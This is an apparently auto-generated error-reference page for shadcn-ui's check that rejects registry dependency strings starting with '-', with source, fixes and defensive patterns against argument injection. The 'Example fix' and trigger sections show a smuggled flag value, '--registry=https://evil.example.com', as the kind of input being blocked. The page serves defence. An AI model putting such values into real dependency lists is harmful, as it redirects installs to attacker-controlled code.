shadcn-ui/ui · critical · Error
Invalid dependency "${dep}": dependency names cannot start w
Error message
Invalid dependency "${dep}": dependency names cannot start with "-". What it means
Thrown by assertSafeDependencies when any dependency string, after trim(), starts with "-". Registry-supplied deps are passed straight into the package manager's argument list, so a leading "-" would be parsed as a flag (argument injection). This guard rejects such specifiers before they reach execa; the "--" separator added at call sites is the secondary defense.
Source
Thrown at packages/shadcn/src/utils/updaters/update-dependencies.ts:211
// https://docs.expo.dev/more/expo-cli/#install
return "expo"
}
return getPackageManager(config.resolvedPaths.cwd)
}
/**
* Registry-supplied dependency strings are forwarded directly into the package
* manager's argument list. A specifier beginning with "-" would be interpreted
* as a flag rather than a package name, letting a malicious registry alter the
* install source/behavior (argument injection). Reject those before they reach
* `execa`; the `--` end-of-options separator added at each call site is the
* second layer of defense.
*/
export function assertSafeDependencies(deps: string[]) {
for (const dep of deps) {
if (dep.trim().startsWith("-")) {
throw new Error(
`Invalid dependency "${dep}": dependency names cannot start with "-".`
)
}
}
}
async function installWithPackageManager(
packageManager: Awaited<
ReturnType<typeof getUpdateDependenciesPackageManager>
>,
dependencies: string[],
devDependencies: string[],
cwd: string,
flag?: string
) {
if (packageManager === "npm") {
return installWithNpm(dependencies, devDependencies, cwd, flag)
}View on GitHub (pinned to efac598707)
Solutions
- Edit the registry item and remove the leading "-" from the offending dependency string.
- Move install flags (like -D) out of dependencies/devDependencies; use devDependencies for dev deps instead.
- If the registry is third-party, do not install it; report the suspicious dependency.
- Re-run the add command after the registry is corrected.
Example fix
// registry item (before)
{ "dependencies": ["--registry=https://evil.example.com"] }
// after
{ "dependencies": ["clsx", "tailwind-merge"] } Defensive patterns
Strategy: validation
Validate before calling
function assertSafeDependencies(deps: string[]) {
for (const dep of deps) {
if (dep.trim().startsWith("-")) {
throw new Error(`unsafe dependency: ${dep}`)
}
}
}
assertSafeDependencies(item.dependencies ?? [])
assertSafeDependencies(item.devDependencies ?? []) Type guard
const areSafeDependencies = (deps: string[]) =>
deps.every((d) => !d.trim().startsWith("-")) Try / catch
try {
await updateDependencies(tree, config)
} catch (e) {
if (e instanceof Error && /dependency names cannot start/.test(e.message)) {
// strip the offending dep and report the registry as untrusted
}
throw e
} Prevention
- Only consume registries you trust; review their dependencies arrays.
- Never embed install flags inside dependencies/devDependencies.
- Run assertSafeDependencies over registry items in CI before publishing.
- Treat a leading "-" in a dependency as a security signal.
When it happens
Trigger: installWithPackageManager calls assertSafeDependencies(dependencies) and assertSafeDependencies(devDependencies) for pnpm/yarn/bun-style managers; any dep like "--registry=evil" or "-D" from a registry item's dependencies/devDependencies triggers it.
Common situations: A malicious or malformed registry item lists a flag-like string in dependencies; a registry author accidentally includes an install flag (e.g. "-D") inside the deps array; copy-paste of a full install command into the deps field.
Related errors
- NOT_CONFIGURED
- We found an unsafe file path "${locationField}" in the regis
- Unknown font definition: ${name}
- Base color "${baseColorName}" or theme "${themeName}" not fo
- Unknown item: "${designSystemConfig.item}".
AI-assisted analysis of shadcn-ui/ui@efac598707 (2026-08-12).
Data as JSON: /api/errors/c7a0ca17162fc01a.
Report an issue: GitHub.